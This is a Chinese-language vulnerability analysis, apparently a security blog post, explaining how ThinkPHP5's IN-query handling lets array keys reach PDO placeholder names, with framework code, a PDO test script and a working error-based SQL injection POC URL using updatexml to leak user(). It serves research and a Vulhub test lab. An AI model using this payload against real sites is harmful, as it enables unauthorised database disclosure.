刚才先知分享了一个漏洞（ https://xianzhi.aliyun.com/forum/read/1813.html ），文中说到这是一个信息泄露漏洞，但经过我的分析，除了泄露信息以外，这里其实是一个（鸡肋）SQL注入漏洞，似乎是一个不允许子查询的SQL注入点。
漏洞上下文如下：
<?php
namespace appindexcontroller;
use appindexmodelUser;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}如上述代码，如果我们控制了in语句的值位置，即可通过传入一个数组，来造成SQL注入漏洞。
文中已有分析，我就不多说了，但说一下为什么这是一个SQL注入漏洞。IN操作代码如下：
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}可见，$bindName在前边进行了一次检测，正常来说是不会出现漏洞的。但如果$value是一个数组的情况下，这里会遍历$value，并将$k拼接进$bindName。
也就是说，我们控制了预编译SQL语句中的键名，也就说我们控制了预编译的SQL语句，这理论上是一个SQL注入漏洞。那么，为什么原文中说测试SQL注入失败呢？
这就是涉及到预编译的执行过程了。通常，PDO预编译执行过程分三步：
prepare($SQL) 编译SQL语句
bindValue($param, $value) 将value绑定到param的位置上
execute() 执行
这个漏洞实际上就是控制了第二步的$param变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误的：
所以，这个错误“似乎”导致整个过程执行不到第三步，也就没法进行注入了。
但实际上，在预编译的时候，也就是第一步即可利用。我们可以做有一个实验。编写如下代码：
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (PDOException $e) {
var_dump($e);
}执行发现，虽然我只调用了prepare函数，但原SQL语句中的报错已经成功执行：
究其原因，是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。
这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。
这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。我们看看ThinkPHP5的默认配置：
...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...可见，这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以，终上所述，我构造如下POC，即可利用报错注入，获取user()信息：
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是，如果你将user()改成一个子查询语句，那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究，说一下我猜测：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。
总体来说，这个洞不是特别好用。期待有人能研究一下，推翻我的猜测，让这个漏洞真正好用起来。类似的触发SQL报错的位置我还看到另外一处，暂时就不说了。
我做了一个Vulhub的环境，大家可以自己测一测：https://github.com/phith0n/vulhub/tree/master/thinkphp/in-sqlinjection